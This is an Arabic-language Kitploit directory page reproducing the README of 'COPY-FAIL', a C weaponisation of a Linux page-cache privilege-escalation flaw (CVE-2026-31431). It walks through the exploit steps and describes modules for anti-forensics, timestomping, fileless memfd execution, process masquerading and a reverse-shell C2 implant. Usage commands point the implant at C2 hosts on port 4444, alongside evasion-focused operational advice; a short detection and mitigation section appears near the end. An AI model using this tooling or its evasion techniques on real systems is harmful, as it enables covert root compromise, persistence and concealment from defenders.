Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
COPY-FAIL — Copy Fail - CVE-2026-31431 - تنفيذ C مُقوّى لعمليات الفريق الأحمر واختبار الاختراق المصرح به. ⚠️ إشعار قانوني: هذه الأداة مخصصة فقط لأبحاث الأمن المصرح بها، واختبار الاختراق المصرح به، والتحليل الدفاعي. استخدمها على أنظمتك الخاصة أو التي لديك إذن كتابي صريح لاختبارها. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. | Kitploit
أدوات/GitLabGitLab/toxy4ny/copy-fail
تصعيد الامتيازاتالاستغلالما بعد الاستغلالالقيادة والسيطرةالفريق الأحمرتطوير الحمولاتاستغلال الملفات الثنائية
GitLabtoxy4ny/copy-fail

COPY-FAIL

عرض المستودع
1منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →

حول

Copy Fail - CVE-2026-31431 - تنفيذ C مُقوّى لعمليات الفريق الأحمر واختبار الاختراق المصرح به. ⚠️ إشعار قانوني: هذه الأداة مخصصة فقط لأبحاث الأمن المصرح بها، واختبار الاختراق المصرح به، والتحليل الدفاعي. استخدمها على أنظمتك الخاصة أو التي لديك إذن كتابي صريح لاختبارها. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني.

الموقع الإلكتروني
مشاركة

كوبي فشل -- CVE-2026-31431

تطبيق C معزز لعمليات الفريق الأحمر واختبار الاختراق المصرح به.

⚠️ إشعار قانوني: هذه الأداة مخصصة حصريًا لأبحاث الأمن المصرح بها، واختبار الاختراق المصرح به، والتحليل الدفاعي. استخدمها على الأنظمة التي تمتلكها أو لديك إذن كتابي صريح لاختبارها. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني.

🚀 تم نقل التطوير الرئيسي إلى GitLab.
يتم صيانة هذا المستودع بنشاط هنا. للمشكلات والمساهمات، يرجى استخدام GitLab.


جدول المحتويات

  • نظرة عامة
  • البحث الأصلي
  • تحسيناتنا
  • الهندسة المعمارية
  • البناء
  • الاستخدام
  • الوحدات
  • الأمن العملياتي
  • الكشف والتخفيف
  • الإسناد
  • الترخيص

نظرة عامة

هذا المشروع هو منفذ بلغة C معزز وجاهز للإنتاج لاستغلال رفع الامتيازات المحلي CVE-2026-31431 ("كوبي فشل")، الذي كشف عنه في الأصل Theori و Xint في 29 أبريل 2026.

كان إثبات المفهوم الأصلي مكتوبًا بلغة Python ومصممًا لعرض البحث. يحوله هذا التنفيذ إلى مجموعة أدوات من درجة الفريق الأحمر مع:

  • عدم وجود أثر على القرص (تنفيذ بدون ملفات يعتمد على memfd)
  • اكتشاف تلقائي للهدف (تعداد ثنائيات setuid مع الوعي بـ MAC)
  • مكافحة الطب الشرعي (إسقاط ذاكرة التخزين المؤقت، استعادة الطوابع الزمنية، التدمير الذاتي)
  • التحكم من قبل المشغل (تنفيذ يتم تشغيله بالإشارة مع مهلات قابلة للتكوين)
  • بناءات ثابتة عبر المنصات (x86_64, ARM64, RISC-V عبر musl/zig)

البحث الأصلي

CVE-2026-31431: كوبي فشل

آلية الثغرة

تقع الثغرة في النظام الفرعي للتشفير AF_ALG في نواة Linux. ينفذ قالب authencesn AEAD تحسينًا داخليًا لفك التشفير: عندما يتم توفير النص المشفر عبر splice() من ذاكرة التخزين المؤقت للصفحات لملف، يعيد النواة استخدام نفس الصفحة كمصدر ووجهة معًا.

تدفق الهجوم:

  1. افتح ثنائي setuid (مثل /usr/bin/su) للقراءة فقط
  2. قم بإعداد عملية AEAD authencesn(hmac(sha256),cbc(aes)) عبر AF_ALG
  3. قم بتوفير النص المشفر عبر splice() من ذاكرة التخزين المؤقت للصفحات للملف الهدف
  4. عملية فك التشفير (الفاشلة) تستبدل 4 بايت من صفحة ذاكرة التخزين المؤقت قبل أن يرفضها المصادقة
  5. كرر لكل نافذة 4 بايت من الحمولة
  6. execve() للهدف -- تقوم النواة بتحميل الصفحات المحورة من ذاكرة التخزين المؤقت، وتمنح صلاحيات جذر setuid
  7. تتحول الحمولة إلى شل جذر كامل

الرؤية الأساسية: لا يتم تعديل inode على القرص أبدًا. يتم تحوير ذاكرة التخزين المؤقت للصفحات (page cache) في الذاكرة فقط، مما يجعل الكشف الجنائي أصعب بكثير من استغلالات الكتابة التقليدية على الملفات.


تحسيناتنا

يعمل هذا المشروع على توسيع البحث الأصلي مع تعزيز موجه للفريق الأحمر عبر تسع وحدات.

1. أولية الاستغلال المعززة (patch_chunk.c)

2. اكتشاف الهدف التلقائي (target_discovery.c)

  • مسح ثلاثي المراحل: أهداف ذات أولوية → أدلة قياسية → مسح عميق
  • تسجيل واعي بـ MAC: يعاقب الثنائيات التي تحتوي على ملفات تعريف AppArmor/SELinux
  • 18 هدفًا ذا أولوية: su, sudo, passwd, pkexec, mount, ping، إلخ.
  • سلسلة احتياطية: إذا فشل الهدف الأساسي، يختار تلقائيًا أفضل مرشح تالي
  • الوعي بـ Snap: يتخطى /snap (setuid غير تقليدي)

3. مجموعة مكافحة الطب الشرعي (anti_forensics.c)

4. التنفيذ بدون ملفات (memfd_exec.c)

  • memfd_create + fexecve: التنفيذ بدون مسار نظام ملفات
  • التمويه: تسمية memfd باسم kworker أو anon_inode أو eventfd (يندمج في /proc/$pid/fd/)
  • Fork-and-forget: fork مزدوج لإنشاء عملية يتيمة (PPID=1)
  • فك التشفير في الذاكرة: فك تشفير XOR وRC4 ثم تنفيذ (الحمولة لا تكون نصًا واضحًا على القرص أبدًا)

5. تسليم الحمولة من المرحلة 1 (stage1.c)

6. زرع C2 من المرحلة 2 (stage2_template.c)

  • حلقة إعادة اتصال مرنة مع تأخير أسي
  • ثلاث توزيعات: موحد، مثلثي، تموج أسي
  • التحكم بالإشارة: SIGUSR1 (تشغيل)، SIGUSR2 (حالة)، SIGTERM (إيقاف)
  • إشارات DNS: فحص صحي متخفي لـ C2 قبل اتصال TCP
  • انتحال العملية: [kworker/N:0] في ps/top

7. إخفاء العملية (proc_hide.c)

  • الكتابة فوق argv[0]: استبدال في المكان لـ /proc/$pid/cmdline
  • prctl(PR_SET_NAME): أسماء على نمط خيوط النواة (حد 16 بايت)
  • تعقيم البيئة: مسح انتقائي لـ SSH_* وAWS_* وTOKEN* إلخ.
  • فصل الوالد: setsid() + setpgid() للاستقلال عن الطرفية

8. التحكم بتشغيل الإشارة (signal_trigger.c)

الوضعالسلوكحالة الاستخدام
trigger_oneshot()نوم → تشغيل → تنفيذ → خروج

انتظار بدون استخدام وحدة المعالجة المركزية: sigsuspend() بدلاً من حلقات الاقتراع.

9. تموج النوم (sleep_jitter.c)

  • ثلاث خلفيات RNG: getrandom(2) و/dev/urandom وrdtsc احتياطي
  • أخذ عينات الرفض: يزيل انحياز المقياس في التوزيع المنتظم
  • تعويض الانجراف: sleep_scheduled() يحافظ على متوسط الفاصل الزمني على الرغم من التموج
  • كشف الصندوق الرملي: check_sandbox_acceleration() يكتشف sleep() المرقعة

الهندسة المعمارية

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│                     exploit.c (المنسق)                       │
│  ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐          │
│  │  إخفاء  │ │اكتشاف  │ │استغلال │ │ تنظيف  │          │
│  │ العملية│ │ الهدف   │ │         │ │         │          │
│  └────┬────┘ └────┬────┘ └────┬────┘ └────┬────┘          │
│       │           │           │           │                │
│       ▼           ▼           ▼           ▼                │
│  ┌─────────────────────────────────────────────────────┐  │
│  │                 طبقة الوحدة الأساسية                  │   │
│  │  patch_chunk.c  target_discovery.c  anti_forensics.c  │  │
│  └─────────────────────────────────────────────────────┘  │
│       │           │           │           │                │
│       ▼           ▼           ▼           ▼                │
│  ┌─────────────────────────────────────────────────────┐  │
│  │              طبقة التسليم والتهرب                    │   │
│  │  stage1.c  memfd_exec.c  proc_hide.c                │  │
│  │  signal_trigger.c  sleep_jitter.c                   │  │
│  └─────────────────────────────────────────────────────┘  │
│       │           │           │           │                │
│       ▼           ▼           ▼           ▼                │
│  ┌─────────────────────────────────────────────────────┐  │
│  │              طبقة الحمولة (المرحلة 2)               │   │
│  │  stage2_template.c  (شل عكسي / زرع C2)             │  │
│  └─────────────────────────────────────────────────────┘  │
└─────────────────────────────────────────────────────────────┘

البناء

المتطلبات

  • GCC أو Clang
  • GNU Make
  • رؤوس Linux (linux-libc-dev أو ما يعادله)
  • اختياري: musl-tools (لبناءات ثابتة صغيرة)
  • اختياري: zig (للترجمة المتقاطعة الحديثة)
  • اختياري: dpkg-deb (لتعبئة Debian)

بداية سريعة

root@kitploit:~
# بناء الفريق الأحمر القياسي (مُحسّن، مُجرّد، ثابت)
make redteam

# بناء اختبار الاختراق (رموز، تحسين معتدل)
make pentest

# بناء التصحيح (ASAN، رموز كاملة)
make debug

# فحص الثغرة (غير مدمر)
make checker

الترجمة المتقاطعة

root@kitploit:~
# ARM64 (أهداف سحابة AWS/Azure)
make cross-arm64

# RISC-V
make cross-riscv

# ARM HF (مضمن/IoT)
make cross-armhf

# ترجمة Zig متقاطعة (بدون تثبيت أدوات)
make cross-zig-arm64
make cross-zig-riscv

بناء ثابت بـ musl (ثنائيات صغيرة)

root@kitploit:~
make musl-static
# ينتج ثنائيات ثابتة بحجم ~50-100 KB بدون اعتماد على glibc

حزمة Debian

root@kitploit:~
make deb VERSION=1.0.0
# ينتج: build/deb/copy-fail-cve-2026-31431-1.0.0.deb

معلومات البناء

root@kitploit:~
make info
# يعرض: CC, CFLAGS, LDFLAGS, العمارة, توفر أدوات البناء

الاستخدام

الوضع القياسي (تشغيل بالإشارة)

root@kitploit:~
# نشر الزرع
./exploit &
IMP_PID=$!

# تشغيل الاستغلال عن بعد
kill -USR1 $IMP_PID

# طلب الحالة (بدون إجراء)
kill -USR2 $IMP_PID

# إيقاف آمن
kill -TERM $IMP_PID

التنفيذ الفوري

root@kitploit:~
./exploit -t                    # تشغيل الآن، بدون انتظار إشارة
./exploit -t -c c2.example.com -p 9999

تكوين مخصص

root@kitploit:~
./exploit \
  -c c2.redteam.internal \      # اسم مضيف C2
  -p 4444 \                      # منفذ C2
  -d 300 \                       # تأخير أولي قدره 5 دقائق
  -T 7200 \                      # مهلة تشغيل قدرها ساعتان
  -n                             # تخطي التحقق من الثغرة

فحص الثغرة غير المدمر

root@kitploit:~
./vulnerable
# رمز الخروج: 100 = ضعيف، 0 = مرقع، غيره = خطأ

الوحدات


الأمن العملياتي

أفضل ممارسات الفريق الأحمر

  1. النشر خلال فترات النشاط المنخفض لتقليل الترابط
  2. استخدم تموجًا أسيًا لفترات إعادة الاتصال (يتجنب كشف الإشارات)
  3. التشغيل عبر SIGUSR1 بدلاً من التشغيل التلقائي (يحافظ المشغل على التحكم)
  4. قم دائمًا بتنفيذ التنظيف (full_cleanup) حتى لو فشل الاستغلال
  5. فضل تنفيذ memfd على الحمولات القائمة على القرص
  6. Fork مزدوج للاستمرارية (memfd_fork_exec_detach)
  7. راقب تسريع الصندوق الرملي قبل التنفيذ

الآثار الجنائية


الكشف والتخفيف

الكشف الدفاعي

التخفيفات

  1. ترقيع النواة: الترقية إلى Linux >= 6.14 مع الالتزام a664bf3d603d
  2. التحديث المباشر (Livepatch): تطبيق النقل الخلفي الخاص بالتوزيعة
  3. SELinux/AppArmor: فرض ملفات تعريف على ثنائيات setuid
  4. مراقبة eBPF: تتبع مجموعات AF_ALG + splice()
  5. التحقق من ذاكرة التخزين المؤقت للصفحات: فحوصات سلامة دورية على الثنائيات الحرجة

الإسناد

البحث الأصلي

  • Theori -- Jinoh Kang, Yonghwi Jin, Seunghyun Lee
  • Xint -- الإفصاح التعاوني
  • المقال: https://copy.fail/
  • PoC الأصلي: theori-io/copy-fail-CVE-2026-31431

المنفذ الأساسي بلغة C

  • Tony Gies -- tgies/copy-fail-c
  • قدم التنفيذ الأساسي بلغة C باستخدام nolibc
  • أغلفة استدعاءات النظام عبر المنصات وبنية البناء

هذا الفرع المعزز

  • تعزيز موجه للفريق الأحمر عبر 9 وحدات
  • ميزات الأمن العملياتي (مكافحة الطب الشرعي، التهرب، التخفي)
  • دعم الترجمة المتقاطعة (musl, zig, متعدد العمارات)
  • التحكم بالمشغل القائم على الإشارة وأوضاع التنفيذ القابلة للتكوين

إشعارات الشكر

  • مطورو نواة Linux لـ memfd_create(2) و fexecve(3)
  • صيانة nolibc لبديل مكتبة C برؤوس فقط
  • مشروع مكتبة musl للثنائيات الثابتة الصغيرة
  • مشروع Zig لأدوات الترجمة المتقاطعة الحديثة

الترخيص

هذا المشروع مرخص بموجب ترخيص مزدوج:

  • LGPL-2.1-or-later
  • MIT

انظر ملفات المصدر الفردية لمعرفات SPDX.

يظل البحث الأصلي والمنفذ الأساسي بلغة C تحت تراخيصهما الخاصة. يتم توفير الكود الإضافي لهذا الفرع بموجب الترخيص المزدوج أعلاه لتحقيق أقصى قدر من التوافق مع حالات استخدام أبحاث الأمن مفتوحة المصدر والتجارية على حد سواء.


إخلاء المسؤولية

يتم توفير هذا البرنامج لأبحاث الأمن المصرح بها واختبار الاختراق المصرح به فقط. لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام أو الضرر الناجم عن هذا البرنامج. احصل دائمًا على التفويض المناسب قبل اختبار أي نظام لا تملكه.

إذا اكتشفت هذه الثغرة على أنظمتك:

  • قم بتطبيق ترقيع النواة (الالتزام a664bf3d603d أو النقل الخلفي للتوزيعة)
  • راقب مؤشرات الاختراق (IoCs) المذكورة أعلاه
  • راجع /var/log/audit/ وبيانات EDR عن شذوذ AF_ALG
تنزيل الأداة
الخاصيةالقيمة
تاريخ الإفصاح29 أبريل 2026
الباحثونTheori (Jinoh Kang, Yonghwi Jin, Seunghyun Lee), Xint
المقالhttps://copy.fail/
PoC الأصليtheori-io/copy-fail-CVE-2026-31431 (Python)
منفذ C (أساسي)tgies/copy-fail-c بواسطة Tony Gies
النوى المتأثرةLinux 4.14 -- 6.14 (قبل إصلاح الالتزام a664bf3d603d)
الخطورةCVSS 7.8 (عالية) -- رفع الامتيازات المحلي
الميزةالأصليتنفيذنا
إدارة المقابسمقبس جديد لكل قطعةإعادة استخدام المقبس (~60% استدعاءات نظام أقل)
التحققلا يوجدmmap + memcmp مع إعادة محاولة تلقائية (3 محاولات)
الكتابة المتوازيةتسلسلي فقطمتوازٍ قائم على fork (حتى 16 عملية)
رموز الأخطاءنجاح/فشل ثنائيمفصلة: 0=تم التحقق، 1=نواة مرقعة، -1=قاتل
تخصيص الذاكرةmalloc في المسار الساخنفقط المكدس (لا تذبذب تخصيص)
التقنيةالغرض
posix_fadvise(POSIX_FADV_DONTNEED)إزالة ذاكرة التخزين المؤقت للصفحات لكل ملف
echo 3 > /proc/sys/vm/drop_cachesإسقاط ذاكرة التخزين المؤقت العالمية (بعد الجذر)
utimensat() تزوير الوقتاستعادة atime/mtime الأصليين
التدمير الذاتيالكتابة فوق الثنائي المُسقط بالأصفار قبل exec
مسح الذاكرةتصفير المخازن الحساسة باستخدام volatile
القناةالتخفيالسرعةأولوية الاحتياط
مضمنةقصوىفوريةأخيرة (فجوة هوائية)
HTTP مباشرمتوسطة<1 ثانيةأولى
نظام curl/wgetمنخفضة1-3 ثوانٍثانية (دعم HTTPS)
DNS TXTعاليةبطيئةثالثة (تجاوز جدار الحماية)
ضربة واهرب
trigger_daemon()نوم → تشغيل → تنفيذ → حلقةزرع دائم
trigger_auto()نوم مع مهلة احتياطيةعمليات بدون مشرف
الوحدةالملف(ات)الغرض
أولية الاستغلالpatch_chunk.c/hتحوير ذاكرة التخزين المؤقت للصفحات عبر AF_ALG/splice
اكتشاف الهدفtarget_discovery.c/hمسح تلقائي وتقييم ثنائيات setuid
مكافحة الطب الشرعيanti_forensics.c/hتنظيف، تزوير الوقت، تدمير ذاتي
تسليم المرحلة 1stage1.c/hجلب وتنفيذ حمولة بدون ملفات
C2 المرحلة 2stage2_template.c/hشل عكسي مع حلقة إعادة اتصال
تنفيذ memfdmemfd_exec.c/hأوليات تنفيذ ملفات مجهولة
إخفاء العمليةproc_hide.c/hانتحال argv/cmdline/comm
التحكم بالإشارةsignal_trigger.c/hتنفيذ بتشغيل المشغل
تموج النومsleep_jitter.c/hتأخيرات عشوائية مع توزيعات
المنسقexploit.cنقطة الدخول الرئيسية والتنسيق
الفحصvulnerable.cمسبار ثغرة غير مدمر
الأثرالموقعالتخفيف
ذاكرة تخزين مؤقت للصفحات محورةRAM فقطdrop_page_cache_for_file()
مسار الثنائي/proc/$pid/exememfd (يظهر كـ (deleted))
سطر الأوامر/proc/$pid/cmdlineoverwrite_argv()
اسم العملية/proc/$pid/commprctl(PR_SET_NAME)
الطوابع الزمنيةstat() على الهدفtimestomp_file()
الثنائي المُسقطعلى القرصself_destruct_and_exec()
الاتصالات الشبكيةnetstat, EDRإشارات DNS، تموج
المؤشرطريقة الكشف
نمط مقبس AF_ALG + splice()تتبع استدعاءات النظام بـ eBPF
memfd_create بأسماء مشبوهةمراقبة /proc/$pid/fd/
أسماء عمليات بين قوسين في مساحة المستخدمكشف شذوذ العملية
استعلامات DNS منتظمة لنطاق واحدتحليلات DNS
عدم تطابق سلامة ذاكرة التخزين المؤقت للصفحاتطب شرعي لذاكرة النواة